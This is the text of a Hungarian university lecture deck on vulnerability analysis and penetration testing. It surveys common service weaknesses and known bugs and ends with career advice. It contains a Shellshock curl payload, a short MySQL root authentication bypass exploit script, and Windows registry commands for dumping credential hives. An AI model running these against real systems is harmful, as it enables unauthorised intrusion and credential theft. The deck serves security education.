Sérülékenység elemzés
Spala Ferenc Deloitte Zrt. ELTE IK – 2015
Bemutatkozás ELTE ProgTervMat (2008) Senior Manager @ Deloitte Programbizottság vezető @ Hacktivity
spala.ferenc @ {gmail, facebook} FerencSpala @ Twitter
Fogalmak Hacker/Cracker Flame! Fehér/Fekete/Szürke kalapos hacker Média kompatibilitás RULZ! Anonymous =? Hackerek Flame2
Akkor ki a hacker? „A hacker is someone who thinks outside the box. It's someone who discards conventional wisdom, and does something else instead. It's someone who looks at the edge and wonders what's beyond. It's someone who sees a set of rules and wonders what happens if you don't follow them. A hacker is someone who experiments with the limitations of systems for intellectual curiosity.”
(Bruce Schneier)
Hakcer =? Geek Olvassuk el mégegyszer! Látsz ott olyat, hogy számítógép, vírus, hálózat, feltörés, jelszó? Nem attól lesz hacker valaki, mert fel tud törni valamit! Pláne nem attól, hogy beáll anon-nak!
! g n i k c a h % s i % s i Th
Hakcer =? Geek Matematikusok fosztottak ki egy amerikai lottót
Index (2011.08.03) … pár matematikus és programozó az MIT-ról összeállt és elkezdett számolgatni… Nem, nem csaltak, nem törtek fel semmit, gondolkodtak és rájöttek hol van a kiskapu Ez a hackelés!
Tanácsadó vs. Hacker Van metszet! Tanácsadó =? Öltönyös hacker Tanácsadó =? Hacker++ Tanácsadó =? Hacker + kommunikáció
Mit csinál egy IT biztonsági szakértő Telepít? Üzemeltet? Hálózatot épít? Tűzfalat árul? Szabályzatot ír? Rendszereket tör fel? Auditál? Tanácsokat ad?
Mit csinál NÁLUNK egy IT biztonsági szakértő Telepít? Nem! Üzemeltet? Nem! Hálózatot épít? Nem! Tűzfalat árul? Nem! Szabályzatot ír? Igen! Rendszereket tör fel? Igen! Ellenőriz? Igen! Tanácsokat ad? Igen!
Fogalmak Infrastructure
Application
Penetration testing Ethical hacking Egy Ethical hacking projekt célja, hogy az adott időkereteken belül a lehető legtöbb sérülékenységet megtalálja az auditor. Horizontális vizsgálat. Ezzel szemben egy Penetration testing projekt esetében a cél az, hogy minél tovább eljusson a „hacker”.
Vertikális vizsgálat.
Fogalmak Black-box vizsgálat: semmilyen információ nem áll rendelkezésre Grey-box vizsgálat: bizonyos információk rendelkezésre állanak (pl. teszt felhasználók) White-box vizsgálat: minden információ rendelkezésre áll
Kombinációk Infrastructure
Application Black
Grey
White
External Internal External infrastructure: nmap, whois, google, Nessus, ikescan, hydra, snmpwalk stb. Internal infrastructure: nmap, metasploit, Nessus, Cain&Abel, aircrack-ng stb. External black-box application: nikto, wikto, DirBuster, Hydra, BurpSuite, Firefox extensions, WebScarab stb.
Mindig tudd mire lősz!
Érdekességek
FTP (tcp/21) Titkosítatlan Anonymous login Bárki számára írható/olvasható könyvtárak Backdoor Buffer overflow Brute force On Sunday, the 28th of November 2010 around 20:00 UTC the main distribution server of the ProFTPD project was compromised. The attackers most likely used an unpatched security issue in the FTP daemon to gain access to the server and used their privileges to replace the source files for ProFTPD 1.3.3c with a version which contained a backdoor.
SSH (tcp/22) PermitRootLogin SSHv1 támogatás Buffer overflow Brute force
F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root.
Telnet (tcp/23) Titkosítatlan Brute force Buffer overflow
SMTP (tcp/25) Titkosítatlan Brute force Buffer overflow User enumeration (VRFY, EXPN, REPLY-TO) E-mail relaying
A remote code execution flaw in Exim has been discovered by an internal audit performed by the Exim developers[2]. This vulnerability may lead to arbitrary code execution with the privileges of the user executing the Exim daemon. In some circumstances this may lead to privilege escalation.
DNS (udp/53, tcp/53) Titkosítatlan Anonymous zóna transzfer DNS cache poisoning Dan Kaminsky-féle hiba
http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html Buffer overflow
HTTP (tcp/80), HTTPS (tcp/443) Titkosítatlan (HTTP) HTTP methods (TRACE, PUT, DELETE) Directory listing HTTP Parameter Splitting Buffer overflow WebDAV (cadaver)
+ Tomcat, Jboss, WebSphere, GlassFish,… + Webes alkalmazások hibái!
You don't really need an knowledge of C, or even of programming, to understand the error here.
SSL - Apple (iOS)
The programmer is supposed to calculate a cryptographic checksum of three data items - the three calls to SSLHashSHA1.update() - and then to call the allimportant function sslRawVerify(). If sslRawVerify() succeeds, then err ends up with the value zero, which means "no error", and that's what the SSLVerifySignedServerKeyExchange function returns to say, "All good." But in the middle of this code fragment, you can see that the programmer has accidentally (no conspiracy theories, please!) repeated the line goto fail;. The first goto fail happens if the if statement succeeds, i.e. if there has been a problem and therefore err is nonzero. This causes an immediate "bail with error," and the entire TLS connection fails. But because of the pecadilloes of C, the second goto fail, which shouldn't be there, always happens if the first one doesn't, i.e. if err is zero and there is actually no error to report. The result is that the code leaps over the vital call to sslRawVerify(), and exits the function. This causes an immediate "exit and report success", and the TLS connection succeeds, even though the verification process hasn't actually taken place.
https://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/
SSL (Heartbleed) - OpenSSL The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software.
SSL (Heartbleed) - OpenSSL
ShellShock Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) is a vulnerability in GNU's bash shell that gives attackers access to run remote commands on a vulnerable system. This security vulnerability affects versions 1.14 (released in 1994) to the most recent version 4.3 according to NVD.
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
Oracle (TCP/1521) Titkosítatlan (is lehet) Gyenge “SYS”/”SYSTEM” jelszó Jogosultságok TNS poisoning
“…was fixed in future releases of the product."
TNS POISONING c ne
n Co
t
Listener
nd e es
t
R
c ne
n
Co
t
p ce
Ac
Victim
Authentication Data
tnspoison
TNS POISONING n
n o C
t c e
Listener
t c e dir
Victim
Register Register
Re
tnspoison
Adatbázisok - MySQL #!/usr/bin/python # This has to be the easiest "exploit" ever. Seriously.
# Embarassed to submit this a little. # Title: MySQL Remote Root Authentication Bypass # Written by: Dave Kennedy (ReL1K) # http://www.secmaniac.com# # Original advisory here: seclists.org/oss-sec/2012/q2/493 import subprocess ipaddr = raw_input("Enter the IP address of the mysql server: ") while 1: subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
HP Data Protector
Hibajavítás PHP módra CVE-2012-0830: The php_register_variable_ex function in php_variables.c in PHP 5.3.9 allows remote attackers to execute arbitrary code via a request containing a large number of variables, related to improper handling of array variables. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-4885.
eBay The online retailer suffered one of the biggest data breaches yet reported by an online retailer. Attackers compromised a “small number of employee log-in credentials” between late February and early March to gain access to the company’s network and, through it, compromised a database that contained customer names, encrypted passwords, email addresses, physical addresses, phone numbers and dates of birth. The breach is thought to have affected the majority of the company’s 145 million members, and many were asked to change their passwords as a result.
Egy példa a múltból - Custom SSO
Egy példa a múltból - Custom SSO A kliens (böngésző) eldöntheti, hogy ki az authentikációs szerver?!?! 1. Kitalálod mi az authentikációs protokol 2. Csinálsz egy saját “szervert” 3. “Beállítod” a saját szervered az “authCheckSiteServer” paraméter értékének 4. $$ Profit $$
SNMP 2 Domain Admin
SNMP public
SNMP public
Linux post exploitation
Linux post exploitation
Login - Dump - GOTO 1 Password dump reg save HKLM\security security.reg reg save HKLM\system system.reg reg save HKLM\sam sam.reg + secretsdump.py Metasploit / incognito Metasploit / mimkatz
Login - Dump - GOTO 1
Jótanácsok David Shakleford-tól http://daveshackleford.com/?p=277
#1 Attól, hogy elvégeztél egy iskolát vagy szereztél valamilyen minősítést, még ne hívd magad biztonsági szakértőnek, mivel nem vagy az. A tapasztalat és a technikai ismeretek azok, amelyek számítanak ezen a területen - amíg ezekkel nem rendelkezel, a létra ajáról indulsz a papírjaidtól függetlenül.
#2 Mutasd meg mit tudsz! Ne beszélj elméletekről, koncepciókról, és Isten őrizz, hogy felhozd a Bell-LaPadula modellt! Segíts a biztonság megvalósításában! A modellek valójában semmit sem tesznek, maximum alkoholgőzös meetingekre és CISSP vizsgákra jók.
#3 A legjobb biztonsági szakértők valójában nem csak biztonsági háttérrel rendelkeznek. Tényleg úgy hiszem, hogy el kell töltened néhány évet azzal, hogy valami mást csinálj. Programozás, rendszer-, hálózat- vagy adatbázis-adminisztráció, stb. Hogyan tudnál biztonságossá tenni valamit, amihez nem értesz? A biztonság nem az IDS-ekről meg a behatolástesztelésről szól. A biztonság legfontosabb komponense a veszélyek megelőzése a hagyományos régi technológiák tervezésekor és használatakor, és nem árt ha foglalkozol ezzekkel egy kicsit, mielőtt nekiállnál a világ megmentésének.
#4 Legyél tisztában a következőkkel: TCP/IP, Cisco IOS, alapvető Windows és Linux adminisztráció. Válassz egy szrkiptnyelvet és próbálj profivá válni benne. Ezek az alapvető ismeretek.
#5 Vásárolj könyveket és olvass!
#6 Értsd meg, hogy hogyan lehet biztonságossá tenni egy operációs rendszert. Olvasd el a CIS benchmark-okat, a DISA STIG-eket, és a különböző gyártók, pl. a Microsoft útmutatóit. Ezek alapvető dolgok, amiket jóval azelőtt meg kell tanulnod, mielőtt olyan szexi dolgokkal kezdenél foglalkozni, mint a behatolástesztelés.
#7 Ismerj meg egy tetszőleges packet sniffert. A Wireshark jó. A TCPdump is. Mindkettő ingyenes, és segítségükkel elkezdhetsz belenézni a csomagokba, hogy lásd, mi a franc is történik.
#8 Tanuld meg a Snort használatát! Szánj hónapokat a telepítésre, a konfiguráció hangolására, a szabályok megtervezésére, az architektúra kialakítására stb. Ez lesz az egyetlen IDS amit használni fogsz? Talán, talán nem, de ár/érték arányban ez a legjobb, és tanulnod kell.
#9 Töltsd le a Backtrack disztribúciót, és próbáld ki egy teszt hálózatban, és kezdj el megismerkezni a felderítési technikákkal (nmap, hping3, Nessus, OpenVAS), és sebezhetőségkihasználási módszerekkel (Metasploit, Armitage).
+1 (tőlem) Keress Wargame/HackME/Challenge oldalakat, tanulj és gyakorolj! Példák: Damn Vulnerably Linux, Metasploitable OWASP WebGoat, HacmeBank Wechall.net, hax.tor.hu
Köszönöm a figyelmet! Spala Ferenc Senior Manager Deloitte Zrt. spala.ferenc @ {gmail, facebook} FerencSpala @ Twitter Feedback form: http://compalg.inf.elte.hu/~attila/ Teaching.html